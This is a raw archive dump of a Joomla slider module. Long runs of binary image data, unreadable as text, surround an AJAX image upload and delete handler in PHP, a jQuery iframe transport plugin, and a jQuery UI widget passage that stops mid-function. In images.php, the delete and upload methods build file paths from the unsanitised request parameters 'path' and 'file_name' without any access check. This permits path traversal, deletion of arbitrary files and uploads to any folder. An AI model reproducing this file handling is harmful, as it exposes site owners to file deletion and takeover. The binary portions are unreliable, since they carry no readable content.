ď	�l�{�$mfw*RgW~䘊W����W����˒8a�{O�v �����m_�n��n�M��J��P2%1I��J������g�L��Tۓi�r�Z�̺<��{2��9;����:�&:*�&G/�߆��Y��e�ݐ,�eax��>��l������YƎ���	'HR��U��d�Q��Θ��P��P~|ܪ8a�������&_wQ��h�1�
�Oy$��<)OS��$I<6Z��ay����#��3Y����1�
e�ʄ)�*'�<����L�q����ss|!�$�����2nG�Y	�����A<��>g���<ǰc�)��t���`�x�a�.�s��.3��os�*�e�7���2u��`��A���IEND�B`�PK!��Q���0mod_ap_smart_layerslider/admin/images/loader.gifnu&1i�GIF89a**�LNL,*,trtdbd<><���\Z\464|~|$"$ljlDFD���
TVT424|z|TRT,.,tvtdfdDBD���\^\<:<���$&$lnlLJL������!�NETSCAPE2.0!�		$,**�@�pH,;D��l:���xZ���eDM��X�AH��G�yG��10�p���0�L�GSr!q�BU��iw���W��WR�F
�$S�E��CR�DnE|��������M��#!qS�tv"�� p�$���������D# RݽaD�
�R"�P�0�׃
x���МÇD&h(��ɂ�=  ��5�m0 Ø�M�@�ɠ�գ�� �AJ�r�@
!�		$,**�LNL,*,trtdbd���<><\Z\|~|$"$464ljl���DFD
TVT|z|TRT,.,tvtdfd���DBD\^\���$&$<:<lnl���LJL����@�pH,�I��l:�@�<�Ћ��N%DG��5�r(J&"b`J�����Da^ wG�fn�l[f!���Cq������"S	�M
g^�LVaS�F�C
��������̼"��B�	t��^��#$���������!��"�ES�el�lH�A�4"�S��="��H�L�W�4\�wG��aq�&�\��AP<�g��LC���#�S��N;�4!�		$,**�LNL,*,trtdbd���<><\Z\|~|$"$424ljl���DFD
TVT|z|TRT,.,tvtdfd���DBD\^\���$&$464lnl���LJL����@�pH,= ���l:�"�=�P���L��"��BATI
�S��\�|EQ���&_#tD
^�f_�Def
 ��y����"
a�M#F#
�F"SjCS�b�D"S���RSE��C!#}�O"�������"��F!S��	$���$B!����"$��7��m6�#�gJ=m$���N���V�㿏 �8h0g����@���u
�$��<)8Ё��
�� TW��p��O�G:A!�		%,**�LNL,*,trtdbd<><���\Z\464|~|$"$ljlDFD���
TVT424|z|TRT,.,tvtdfdDBD���\^\<:<���$&$lnlLJL���������pH,9#��l:� �:$#B
1Y��@ő�Ql)K1T����Q!x�D[~r}
�D"
aV������G�M F�FRhC$R�G�E���C�RE�"��	úM$��������%�� R�B}R�%�R%��R�E���F;'���!�!�)�PpȄ
�9�0A�Ǐ�HL���B
���R*$�Bt�L"XH��p�|��G��!�		$,**�LNL,*,trtdbd���<><\Z\|~|$"$464ljl���DFD
TVT|z|TRT,.,tvtdfd���DBD\^\���$&$<:<lnl���LJL����@�pH,E����l:���:�Ɖct8�VcgrpJ���P���
�1*ȉn!rRDqO������B_�M"F��E�fC"v�E�Ez�CRE�D
�������F"��������$��Z�Ҁ�����"��46`��p�����Qe˘�pR*�a�&~%�g�{�Rb��1Z
p���V	@a�%
v���HC^"(@h	����!�		%,**�LNL,*,trtdbd<><���\Z\464|~|$"$ljlDFD���
TVT424|z|TRT,.,tvtdfdDBD���\^\<:<���$&$lnlLJL���������pH,�r�dZ�Hs�$)/Ћ��25�����TDE��#������
�M$1nP�|Csnh������� cD]�E�BP��CPvD	�{�CP�C$��B��������o�
�� $q�P�˄P
%����F�����$�!F��=���B`��a[?"���Bw"�0X�݃j�D� �"�!
4"%��Łn/t�|
q��c(l��X�:�
!�		$,**�LNL,*,trtdbd���<><\Z\|~|$"$424ljl���DFD
TVT|z|TRT,.,tvtdfd���DBD\^\���$&$464lnl���LJL����@�pH,%�r�d&�LsJ-�����l�E�d�):�׸P4��X�ڀb�vB
k"I������T[E��C!F#P��Cx�B
{�$P����$�������¸��#"m�P"��!�#$��"������� F_�s����B"
�nm�2�0:�S�K�-s&p8`�����M�"	���`D�!0@�H-
�xa�IR�AD��z݃vsX:0
!�		$,**�LNL,.,trtdbd���<><\Z\|~|$"$464ljl���DFD
TVT|z|TRT424tvtdfd���DBD\^\���$&$<:<lnl���LJL����@�pH,5�r�d(EsJ-���RT]��#0E�O�k�8��Kಇ��NU@|w"w
�w�������G�J�E��BX�$��XJ��"
q���������	\Q�$
X$�
XB���������F"��� ���ɡ������5�!�/(`WŃfMɃe��"��Y��� t��l͢� "�EP[`p��!]Xj6����]
&,`�(!�		$,**�LNL,*,trtdbd<><���\Z\464$"$|~|ljlDFD���
TVT424TRT,.,|z|dfdDBD���\^\<:<$&$���lnlLJL�������@�pH,G#�r�d2�CsJ-&�Fu+�@ƍǐ$�:��,�Tֲ&F(��h�C#zq!�������B#J#!j�DF�DW���C�T ���������
B	Q�X$���ĸB
����ԋ��#̟EX��sz"�R�X�$�؉��0`\� �U[�A��
 LSe���E0'a�,(�����2R`��}h""��"0(p��@JC@�հ�X0L�`A��5A!�		$,**�LNL,.,trtdbd���<><\Z\|~|$"$464ljl���DFD
TVT|z|TRT424tvtdfd���DBD\^\���$&$<:<lnl���LJL����@�pH,E"�r�d&GsJ-�Iu+)��JD��`�5@4Q�(p�X�jI}�����M�D
F �CXlE�B
�Sg�����r

��CX�
$oX�X�#�yY	����$
!`���ւH�"��"!�BX��XqD�X�X�$�ψx��!��)D#b	�8��`@�K���� �dX����,��Ƀ��X1���>����-�b����m	!�		",**�LNL,*,trt���dfdDBD\Z\|~|$"$464���
TVT|z|lnlLJLTRT424tvt���ljlDFD\^\���$&$<:<�������@�pH,�Ȥ�x�,��a��E����xQ!���<�
 0@�k��0���F�� {Oe[�
E��B�E�b�E
q�y�F
������W��B����g��
�	�
��y������� ߬����ND����D̚�
| ��Ht�	���C,!,8�0I����J'*����KE�@ rI�Py@��)��aX��G�a���:}!�		#,**�TRT,*,|z|dfd<><���\^\464$"$���lnlDFD
\Z\424���TVT,.,|~|ljlDBD���dbd<:<$&$���trtLJL������pH,�Ȥ��,��A�01$Ь0D��T�C���d�
����C.<|(!|�#n���J"��O ^
�DEk��#]	Euw�
zFy�C���������Q��	{k�jm
ɾócBپ����"�� �^���D k��E�ʴ� �H���*\��BHO$�&�/��0����5�@�J�H(D ��NH��� �C�A�� ��D��$�@Р ;PK!G"�1mod_ap_smart_layerslider/admin/images/k2-logo.pngnu&1i��PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATx�b`�0�'��Ts=�.`���7����������d����
�������bh������a�&ʀ�����@BB~���@r 5�����
pH�k :88�'���\�3%>>��D�=��,�K,.e&��
�L�(M��v����IEND�B`�PK!�#o,,4mod_ap_smart_layerslider/admin/apuploader/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!���=

4mod_ap_smart_layerslider/admin/apuploader/images.phpnu&1i�<?php
/**
 * @package 	images.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

class images {
	/**
	 * Function to handle upload images.
	 * Call by Ajax.
	 *
	 */
	public function uploadImages() {
		// Get the uploaded file information
		$files = JFactory::getApplication()->input->files->get('files', null, 'array');
		$responses = array();
		if (is_array($files))
		{
			$data = array();
			foreach ($files as $index => $file)
			{
				// If there is uploaded file, process it
				if (is_array($file) && isset($file['name']) && !empty($file['name']))
				{
					if ($this->_uploadFile($file))
					{
						$data['file_name'] = $file['name'];
						$data['size'] = $file['size'];
						$data['ext'] = $file['ext'];
						$data['temp_upload'] = 1;
						$data['changelogs'] = '';
					} 
				}
			}
		}
		$type = JRequest::getString('type', '') ? JRequest::getString('type', '') : (isset($params->type) ? $params->type : '');
		$folder = JRequest::getString('path', '');

		//return $this->loadImages(new stdClass());
		return $data;
	}

	/**
	 * Function to delete uploaded files.
	 * Call by AJAX.
	 */
	public function delete() {
		// Build the appropriate paths
		$folder = JRequest::getString('path', '');
		$base_path = JPATH_SITE . "/" . $folder;
		$file_name  = JRequest::getString('file_name', '');

		$data = array();

		if(empty($file_name)) {
			return $data['success'] = false;
		}

		// Move uploaded file
		jimport('joomla.filesystem.file');
		if(JFile::exists($base_path.'/'.$file_name))
		{
			JFile::delete($base_path.'/'.$file_name);
		}

		return $data['success'] = true;
	}

	/**
	 * Works out an installation package from a HTTP upload
	 *
	 * @return package definition or false on failure
	 */
	protected function _uploadFile(&$file) {
		// Check if there was a problem uploading the file.
		if ($file['error'])
		{
			return false;
		}
		if ($file['size'] < 1)
		{
			$file['error'] = JText::_("Upload Error");
			return false;
		}


		// Check extensions:
		$file['ext'] = substr($file['name'], strrpos($file['name'], '.')+1);
		$allowed_exts = array("bmp","gif","jpg","png","jpeg");
		if(!in_array($file['ext'], $allowed_exts)) {
			$file['error'] = JText::_("Extension not allowed");
			return false;
		}

		// Build the appropriate paths
		$folder = JRequest::getString('path', '');
		$base_path = JPATH_SITE . "/" . $folder;
		$file_dest	= $base_path.'/'.$file['name'];
		$file_src	= $file['tmp_name'];

		// Move uploaded file
		jimport('joomla.filesystem.file');
		$uploaded = JFile::upload($file_src, $file_dest);

		// Unpack the downloaded package file
		if($uploaded) {
			return true;
		}

		$file['error'] = JText::_("Upload Error");
		return false;
	}


	protected function generate_response($content) {
		echo json_encode($content);
    }

	/**
	 * Load images from folder and match them
	 *
	 */
	public function loadImages(&$params) {
		$type = JRequest::getString('type', '') ? JRequest::getString('type', '') : (isset($params->type) ? $params->type : '');
		$folder = JRequest::getString('path', '');
		$images = $this->getListImages($folder, $type);

		return $images;
	}

}PK!�#o,,;mod_ap_smart_layerslider/admin/apuploader/upload/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!xN\���Dmod_ap_smart_layerslider/admin/apuploader/upload/img/progressbar.gifnu&1i�GIF89a0��c��J��s��k�B�J��J��R��s��B�k�֜�Ō�Ŕ�Δ!�!�NETSCAPE2.0,0���I�u+��{n�"�dYB��l�f,+�k���|���+��mpl�C������Scպ�f�xL.���o/|n����MGO���p���}z���|�������������y����������������������������������	�����Ŀ�Ǯ�ʺ��	���ζ����Ե!�,0v��I+uk��c\8
� ����!i�\�–Koܕ�S��O�>��c)y�%�C�q�@0����9�>�C��4
I19}N��m��`>�a���IuL	���I��F�v�L�����C��!�,0v��I�tk��c\8
� ����!i�\�–Koܕ�S��O�>��c)y�%�C�q�@0����9�>�C��4
I19}N��m��`>�a���IuL	�L�I���v���C������u!�,0w��I�[��=c\8
� ����!i�\�šKoܕ�S��O�>��c)y�%�C�q�@0����9�>�C��4
I19}N��m��`>��ݎ�LuL	���F��I�C����I	�����!�,0v��I�[��=c\8
� ����!i�\�šKoܕ�S��O�>��c)y�%�C�q�@0����9�>�C��4
I19}N���t����t�0�OLL	�}C��I|����?���F�I	�!�,0}��Iݺ4�ܘ� 5dh>����X�[�™+���H޽��D���!iC�v�b�	e"�N�K%WD��<����}F���v�]`�u�0�hx�N��H	���N��H�����E��������!�,0t��)�Z4k��`6BhJ����X�`�šKo�"ɋ���&D�D�Q�d.�h�Q��GΊ�R��h�P(�*٬F���4�6��%�Y	~�wT�T�E����������!!�,0t���֚8���`6BhJ����X�`�šKo�"ɋ���&D�D��+>r;��|.��*T��*�Ȯ�P(T
�ø|N��c��=6��^%�U	~�wN�N�E����������'!�,0t���֚8���`6BhJ����X�`�šKo�"ɋ��'D��2y,*���(�.�Y�n�No�P(,
��l^����_���$�K	~�xH�H�E����������0!�,0s�=���8���`6BhJ����X�`��Io��ȋ��'D�2�[ڊLd�)�.����6�٢�P�丬F��f7�6�t�]J HR	}wH�~H�E����������7!�,0rЭ���87Ʋ���נ(d:��h���2�����`���V�F��@��f�	�"�b�]n�FC�5L19}N��m�;mD��z�@�Q	|~vL�}L�F����������@!�,0qp�I����˻�]H
�"�� �!i�]���4'疍�p��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڌ��I7����,��
�	{}uI�|I�F����������F!�,0r��Ikm����Z\8
�"�� �!i�\����&畍�P��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڌ��I7:���,���'{}u�I~F�|������C�C	�@	!�,0r��I�l����Z\8
�"�� �!i�\����&畍�P��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڌ��I7:���,���'{}u�I~I�F�F�Y	�@��<�!�,0s��I�k����Z\8
�"�� �!i�\����&畍�P��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڌ��I7:���,����I~I	�F�F�}uY��@	��{��<�!�,0s��Iic��=�Z\8
�"�� �!i�\����&畍�P��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڌ��I7:��t2!��>�I}I	�C�F��@�C���<���9�!�,0v��Iec��=�Z\8
�"�� �!i�\����&畍�P��T�G1).�M�Ӊ@0oIe���n��B!k8��1ڜ��h58�>�Cz=����IY	��{I��F���F	�C���@�!�,0��9�4��� 5(dh>����X�[���ܴ&�x=��D���҆[�G�,�.Xh�8�"��(�
`�a�>�ׇ6�f���!�?�t}~�E|~�H�~	���H����E����������!�,0u��c4k���`6(JhJ� ��X�`����&��͋��Ć��F��8*����@,�렪-&�Щ�p8\
�’l^�����h���؎��xK�K	��wW��F�F���?���<�!!�,0x�I��8����`6(JhJ� ��X�`����&��͋��Ć��Ƈ/�c�M�S8@ �"ӊ�B��)�p8`
�B�l^�����h����~��vxI�X	��}I��F���F	�B���?�,!�,0u��Ƙ�8����`6(JhJ� ��X�`����&��͋��&��"�X�����@ �S�zu.�ҧ�p8\
��l^����h���؎��xH�H	��wW��E�E���?���<�0!�,0t�5ƞ�8k���ߠ(`�
�`��j���<�vX������Zh�_ш4q�&�p�Q�U:h�X��p�
縬F��f�8�>�Cݎ���NN	��uV��F�F���?���<�9!�	,0t��G��ح��o�'Z� ���by���—Kwܵ�׺_�&��vEb2�����xB��iU��i�Ѣ�p�
�縬F��f�8�>�Bݎ���juV	��v��s��E	{O�����?;PK!���a��Kmod_ap_smart_layerslider/admin/apuploader/upload/img/open_folder-upload.pngnu&1i��PNG


IHDR*$�ɨ+tEXtSoftwareAdobe ImageReadyq�e<pIDATx��XYL\U�sY*��Vk$V!t�`�`(�H�}��)��(J�LD �OB:
I(�1i���	�"���jѦ��(%l��m��L&&0w<ɗs�=���=w4�h���gн.��������K.lAR�nb����O�a�Ѓ�+�6�k��%kS�Z�\{{z]J5�n�rx���Ix�DmW
��y�
�-r?�I!@��d�>��}<�YU�
��U�~���}vm��?Y��u�?GZ_d{K�t�����.����+A��F/��</r����f�=LN'/Æ~W1�\����n�T"�~��_q�(7��)�`_�]��&�ԕm�~��<zZ-�[,BSXX�����c��dYV
G��y��u���҂���xV!mooK ,���}���~ggg_C��D���evj�����\�������m�233��|���bvQQ�7���x=K����i����H���8~kkk���,//��'����1O����4;;�����O �w�[$+?.ڝ�͊��#0-+�FF�ն�6=H~��(p�_:���^_���&''?8�đ����F��}Tbb�eee_�w�8�L�w0UVV���@S�nhhx;22�cc��� +�ak��e����������"�����i`
�P
M_⺥������W�xX���^���{nn�E��7Y
��7�k�
���LM���e��g/��IY�`j���>��'�ͤ�������0>���T�!{�Ίv
�2qK���s����FA�=HCrrr>�|ZZ�I�`̟��`

�<���oOt�I
Q��_�����B����?N��o���]`��f����!<�i�m*P��$I_�U�s������?�妧�OrrssӄH�>��ٴF�,���,n�q�48�yzz�a?66h��,�;��
�%��_�bj;�ce���~?��L)k��M&�4::���r�(�U��F0����Bf�B��爈^܍j}�Y��`�����B���9Ԫ���^e�!߲ <R�hvv�����������L�������"�ע����Hll,��CjT#���bq9���s.�4�MsGGG+�ڤ�X�;�D�p����%Ha3]]]o�{OM�켺��3A�jv+::�\cc����$/Q�Wa��m��b�miiy'$$d\��jD3��SSSϿ��r#R�m�+�m��ĺ�x�B�I�x�%��D�?���e���g�d�#z)�4��I��o�����_hn�W�wRU�ڐ�y��QQ&���%D�_ytF��lV
��Dw ̒�-����Q3�+߶Me����,~��/wvIEND�B`�PK!���99@mod_ap_smart_layerslider/admin/apuploader/upload/img/loading.gifnu&1i�GIF89a��������ݻ������!�!�NETSCAPE2.0,||�H��0�*�8�ͻ_���dibax�l���+�.\�x>ڗ�pHT��G`0I�� �a2KϏTJ�X��lg��j�ם
J��3�G�isߓ��C���xzMskS���0��pz�)�v��q}��������y�������/����_������`�
����(�����h�Ǥ�ʨ�A��ѽ{�
��������˷�ȗx�+��7�ln��'�+�Zd:�hb�?v��pȐ���Ɣ���f2,e��bņU��(����� ���h!ʔ*��l��%��f�a�fL��X��ghGC�
3�#�;^L�8u4�P�,�����K�Y��ѥ;q�]˶�۷p�ʝK��ݻx�B4�_a'
���h��qV��#��*�Me���9fY��ϠC�M���ӨS��A�r�Se1�~s8P�$&a�2��Uu��wn�]�Qq�:1?O�Xzt���6�s]���%�v�Z|v��̸�Rz���kd��y��G�/��~����_I�aWt>P�3��gۀ�-� ��Aha|�Q�!�~a�!��5��䀈�%&Ƞ�������!�1J�����b���x����أ���#�+)��#2y$�ƥ5�x~�H��`��"[	�4�a��RNY&�X�x�:Nv���Tr�&of&�q�(�s�9�Q�}�iu�Vhj����i��֨�{��'��$!�,
W0�H��0�@��8�=+�`(J�7�(WVi�v�+��7�gm�<��#�P���H@k8DG�$����N���=CYi�+�^Ea����Ai��-�n�����.{!vx/�*o����xy�d�~��3{|��8����t����<�$���������
�@
�0%�=���
���������������K�G�
��z�2����c\3����m�Y��se<Z���	P�/��2C�N!���HMb�-��"Î	��o�Ć&IZK�!!�,W0�H��KH��8�6�`�u�h�"�l[��+�L�i�|����p����@k8DE�$����Q���4=AYm�+�^�a��}5i�:��K�Ͼ�+�tn|px.lDo~3��#����z�����~4�����9��������
�<�������/��@��
�@��*��Ʈ�$ſ�%�a.��(�!��݁2� ���,����U8�"��9Q&������C�@�8�C�C�:�	��HC�D�3,j�X�"Lj
?�)r����L��D!�,<BB�H4<�0�I�����{͙'���hj2i;��+o�l�G�+��ݣ���\�x�I̦�)�JoԎ�j�r�A��F&MЭy\)��Z7�=���p���[�Cxv| ~Q��}dj�
t
z���u������!���1��.�;�(��:����7�"���L)���\���������ȷ�̱�в�ԭ��ب�����������������������������4&����*4�i�Á�J�p�Ä�(PA!�,N
0W�H����I+���}q���}a)�����Z������捇p�s��((��r�\V�NF/�Q'�kz�`�����͚y]Ũ����������;�~H�p|�fQ���`����Z�Z
�������g������������*������5����.�������&���û�Ʒ�ɲ���������2���ܢ��ڝ����������Z�����������W�����ؕK���s��QH!�,N0W�H��n���mN�;Ѡ'F`8�ez���b��V�<��vӹ��=�/���#1�D���R��L֫0��z��xL.��\�z�n�۳�|�^���~�z�{v�tq�oh���������
�f��c���`�����]�����\�������������Y���/��������Ƨ��7���Х���;���bؾ��a��_�c���������^�����]���`����#���)	!�,<<BB�H��P�I��6���'r`���c�Y�Jl���<��y�����pH,�Ȥr�l:�ШtJX��u�m�خ�G�`�MV3�mw^���W�v��vVz�F�7D���xC��;t���@l����u���A\����O����L����M����K������#���"ƾ�ɽH�(����͜J���G���Ե/�E����������B�)�A���D����.��vLb�J��|v�Q膡�|kb�!�,NW0�H��0�7�8�͉�](��g^d�J����׺qέ�kx����	Hti���,.-M�N5�,�'�
FO�V��z���x\3�IB�:�vwU8ɜ���H{t�~w+L�[�����Q������E����~I������������@����?�����;����5����0�›ʳ�͑���+����)���ܿ*���"��!�����X�"������"�B��O�okR4���F���l�(/�ȨQǎ5>��!r�j&��K� !�,
NW0�H���I��8�ȵ��ǍRh�!9�lK��+��:�`m�<�ǽ����q��,�M�ڜR���6 x�dv��}�>�LƝϗZ��u��i%�^���qN.|e�xV�\�����V������K����O������������F����B�����A����8����3�›ʳ�͑��у���{�ڷ �c|!�ܿ������&� ��� ������&�o��cW�D=~mP��I`!��jDmE+/
ɨ�ǎ8>��!r���&�<�!�,<BB�H��I�����]��Ս\h�d*����@+O�:�x����pH,�Ȥr�l:�ШtJ=����՚��7�/��.�	m�:�>��;����|��w;�Fz���Et?��DmA���x@���WC�� �R�����P����O�!��N����M�����'��K���L�DZJ�º�,���˶I�׫H���Fީ�G�������;�E�7�D�3�@���?�o&H``@�o�Qx�aCt10K!�,0W�H�,�Ik{��M����a)�����Z�����Ѥ}�.��v�E����4
�{�_&��z��xL.�ϡ�z�n�۶�|�v��s~7�z�{v�tq�oh���������h�f��c���`��_��]��Y��V��S�������������\�2��.���6���>��ͱ:��ҷB�b��a��`�������c��������������������wf��!�	,||�H��0�I��8�ͻ�`(�di�h��l�p,�t
�@��8���^H�}�$�T:��sJ��X+���N�^��N���1�]���t;<�i�ή��3|��!���� ����s��������G���C�����&�������$���#�������"���!���ǹ��ˤͽ��·�������������������������������������L'����*\Ȱ�ÇhHq�ċ/j��Qp�F�7*�!ɒO�4��#˖M”�r&Ǘ0�\���I�$+��H#ѣH�*]ʴ�ӧP�J�J��իX�j�ʵ�ׯ`�I;PK!��Wt)t)Nmod_ap_smart_layerslider/admin/apuploader/upload/js/jquery.iframe-transport.jsnu&1i�/*
 * jQuery Iframe Transport Plugin 1.8.2
 * https://github.com/blueimp/jQuery-File-Upload
 *
 * Copyright 2011, Sebastian Tschan
 * https://blueimp.net
 *
 * Licensed under the MIT license:
 * http://www.opensource.org/licenses/MIT
 */

/* global define, window, document */

(function (factory) {
    'use strict';
    if (typeof define === 'function' && define.amd) {
        // Register as an anonymous AMD module:
        define(['jquery'], factory);
    } else {
        // Browser globals:
        factory(window.jQuery);
    }
}(function ($) {
    'use strict';

    // Helper variable to create unique names for the transport iframes:
    var counter = 0;

    // The iframe transport accepts four additional options:
    // options.fileInput: a jQuery collection of file input fields
    // options.paramName: the parameter name for the file form data,
    //  overrides the name property of the file input field(s),
    //  can be a string or an array of strings.
    // options.formData: an array of objects with name and value properties,
    //  equivalent to the return data of .serializeArray(), e.g.:
    //  [{name: 'a', value: 1}, {name: 'b', value: 2}]
    // options.initialIframeSrc: the URL of the initial iframe src,
    //  by default set to "javascript:false;"
    $.ajaxTransport('iframe', function (options) {
        if (options.async) {
            // javascript:false as initial iframe src
            // prevents warning popups on HTTPS in IE6:
            /*jshint scripturl: true */
            var initialIframeSrc = options.initialIframeSrc || 'javascript:false;',
            /*jshint scripturl: false */
                form,
                iframe,
                addParamChar;
            return {
                send: function (_, completeCallback) {
                    form = $('<form style="display:none;"></form>');
                    form.attr('accept-charset', options.formAcceptCharset);
                    addParamChar = /\?/.test(options.url) ? '&' : '?';
                    // XDomainRequest only supports GET and POST:
                    if (options.type === 'DELETE') {
                        options.url = options.url + addParamChar + '_method=DELETE';
                        options.type = 'POST';
                    } else if (options.type === 'PUT') {
                        options.url = options.url + addParamChar + '_method=PUT';
                        options.type = 'POST';
                    } else if (options.type === 'PATCH') {
                        options.url = options.url + addParamChar + '_method=PATCH';
                        options.type = 'POST';
                    }
                    // IE versions below IE8 cannot set the name property of
                    // elements that have already been added to the DOM,
                    // so we set the name along with the iframe HTML markup:
                    counter += 1;
                    iframe = $(
                        '<iframe src="' + initialIframeSrc +
                            '" name="iframe-transport-' + counter + '"></iframe>'
                    ).bind('load', function () {
                        var fileInputClones,
                            paramNames = $.isArray(options.paramName) ?
                                    options.paramName : [options.paramName];
                        iframe
                            .unbind('load')
                            .bind('load', function () {
                                var response;
                                // Wrap in a try/catch block to catch exceptions thrown
                                // when trying to access cross-domain iframe contents:
                                try {
                                    response = iframe.contents();
                                    // Google Chrome and Firefox do not throw an
                                    // exception when calling iframe.contents() on
                                    // cross-domain requests, so we unify the response:
                                    if (!response.length || !response[0].firstChild) {
                                        throw new Error();
                                    }
                                } catch (e) {
                                    response = undefined;
                                }
                                // The complete callback returns the
                                // iframe content document as response object:
                                completeCallback(
                                    200,
                                    'success',
                                    {'iframe': response}
                                );
                                // Fix for IE endless progress bar activity bug
                                // (happens on form submits to iframe targets):
                                $('<iframe src="' + initialIframeSrc + '"></iframe>')
                                    .appendTo(form);
                                window.setTimeout(function () {
                                    // Removing the form in a setTimeout call
                                    // allows Chrome's developer tools to display
                                    // the response result
                                    form.remove();
                                }, 0);
                            });
                        form
                            .prop('target', iframe.prop('name'))
                            .prop('action', options.url)
                            .prop('method', options.type);
                        if (options.formData) {
                            $.each(options.formData, function (index, field) {
                                $('<input type="hidden"/>')
                                    .prop('name', field.name)
                                    .val(field.value)
                                    .appendTo(form);
                            });
                        }
                        if (options.fileInput && options.fileInput.length &&
                                options.type === 'POST') {
                            fileInputClones = options.fileInput.clone();
                            // Insert a clone for each file input field:
                            options.fileInput.after(function (index) {
                                return fileInputClones[index];
                            });
                            if (options.paramName) {
                                options.fileInput.each(function (index) {
                                    $(this).prop(
                                        'name',
                                        paramNames[index] || options.paramName
                                    );
                                });
                            }
                            // Appending the file input fields to the hidden form
                            // removes them from their original location:
                            form
                                .append(options.fileInput)
                                .prop('enctype', 'multipart/form-data')
                                // enctype must be set as encoding for IE:
                                .prop('encoding', 'multipart/form-data');
                            // Remove the HTML5 form attribute from the input(s):
                            options.fileInput.removeAttr('form');
                        }
                        form.submit();
                        // Insert the file input fields at their original location
                        // by replacing the clones with the originals:
                        if (fileInputClones && fileInputClones.length) {
                            options.fileInput.each(function (index, input) {
                                var clone = $(fileInputClones[index]);
                                // Restore the original name and form properties:
                                $(input)
                                    .prop('name', clone.prop('name'))
                                    .attr('form', clone.attr('form'));
                                clone.replaceWith(input);
                            });
                        }
                    });
                    form.append(iframe).appendTo(document.body);
                },
                abort: function () {
                    if (iframe) {
                        // javascript:false as iframe src aborts the request
                        // and prevents warning popups on HTTPS in IE6.
                        // concat is used to avoid the "Script URL" JSLint error:
                        iframe
                            .unbind('load')
                            .prop('src', initialIframeSrc);
                    }
                    if (form) {
                        form.remove();
                    }
                }
            };
        }
    });

    // The iframe transport returns the iframe content document as response.
    // The following adds converters from iframe to text, json, html, xml
    // and script.
    // Please note that the Content-Type for JSON responses has to be text/plain
    // or text/html, if the browser doesn't include application/json in the
    // Accept header, else IE will show a download dialog.
    // The Content-Type for XML responses on the other hand has to be always
    // application/xml or text/xml, so IE properly parses the XML response.
    // See also
    // https://github.com/blueimp/jQuery-File-Upload/wiki/Setup#content-type-negotiation
    $.ajaxSetup({
        converters: {
            'iframe text': function (iframe) {
                return iframe && $(iframe[0].body).text();
            },
            'iframe json': function (iframe) {
                return iframe && $.parseJSON($(iframe[0].body).text());
            },
            'iframe html': function (iframe) {
                return iframe && $(iframe[0].body).html();
            },
            'iframe xml': function (iframe) {
                var xmlDoc = iframe && iframe[0];
                return xmlDoc && $.isXMLDoc(xmlDoc) ? xmlDoc :
                        $.parseXML((xmlDoc.XMLDocument && xmlDoc.XMLDocument.xml) ||
                            $(xmlDoc.body).html());
            },
            'iframe script': function (iframe) {
                return iframe && $.globalEval($(iframe[0].body).text());
            }
        }
    });

}));
PK!�#o,,Emod_ap_smart_layerslider/admin/apuploader/upload/js/vendor/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!춞c�=�=Nmod_ap_smart_layerslider/admin/apuploader/upload/js/vendor/jquery.ui.widget.jsnu&1i�/*! jQuery UI - v1.11.1 - 2014-09-17
* http://jqueryui.com
* Includes: widget.js
* Copyright 2014 jQuery Foundation and other contributors; Licensed MIT */

(function( factory ) {
	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define([ "jquery" ], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
}(function( $ ) {
/*!
 * jQuery UI Widget 1.11.1
 * http://jqueryui.com
 *
 * Copyright 2014 jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/jQuery.widget/
 */


var widget_uuid = 0,
	widget_slice = Array.prototype.slice;

$.cleanData = (function( orig ) {
	return function( elems ) {
		var events, elem, i;
		for ( i = 0; (elem = elems[i]) != null; i++ ) {
			try {

				// Only trigger remove when necessary to save time
				events = $._data( elem, "events" );
				if ( events && events.remove ) {
					$( elem ).triggerHandler( "remove" );
				}

			// http://bugs.jquery.com/ticket/8235
			} catch( e ) {}
		}
		orig( elems );
	};
})( $.cleanData );

$.widget = function( name, base, prototype ) {
	var fullName, existingConstructor, constructor, basePrototype,
		// proxiedPrototype allows the provided prototype to remain unmodified
		// so that it can be used as a mixin for multiple widgets (#8876)
		proxiedPrototype = {},
		namespace = name.split( "." )[ 0 ];

	name = name.split( "." )[ 1 ];
	fullName = namespace + "-" + name;

	if ( !prototype ) {
		prototype = base;
		base = $.Widget;
	}

	// create selector for plugin
	$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
		return !!$.data( elem, fullName );
	};

	$[ namespace ] = $[ namespace ] || {};
	existingConstructor = $[ namespace ][ name ];
	constructor = $[ namespace ][ name ] = function( options, element ) {
		// allow instantiation without "new" keyword
		if ( !this._createWidget ) {
			return new constructor( options, element );
		}

		// allow instantiation without initializing for simple inheritance
		// must use "new" keyword (the code above always passes args)
		if ( arguments.length ) {
			this._createWidget( options, element );
		}
	};
	// extend with the existing constructor to carry over any static properties
	$.extend( constructor, existingConstructor, {
		version: prototype.version,
		// copy the object used to create the prototype in case we need to
		// redefine the widget later
		_proto: $.extend( {}, prototype ),
		// track widgets that inherit from this widget in case this widget is
		// redefined after a widget inherits from it
		_childConstructors: []
	});

	basePrototype = new base();
	// we need to make the options hash a property directly on the new instance
	// otherwise we'll modify the options hash on the prototype that we're
	// inheriting from
	basePrototype.options = $.widget.extend( {}, basePrototype.options );
	$.each( prototype, function( prop, value ) {
		if ( !$.isFunction( value ) ) {
			proxiedPrototype[ prop ] = value;
			return;
		}
		proxiedPrototype[ prop ] = (function() {
			var _super = function() {
					return base.prototype[ prop ].apply( this, arguments );
				},
				_superApply = function( args ) {
					return base.prototype[ prop ].apply( this, args );
				};
			return function() {
				var __super = this._super,
					__superApply = this._superApply,
					returnValue;

				this._super = _super;
				this._superApply = _superApply;

				returnValue = value.apply( this, arguments );

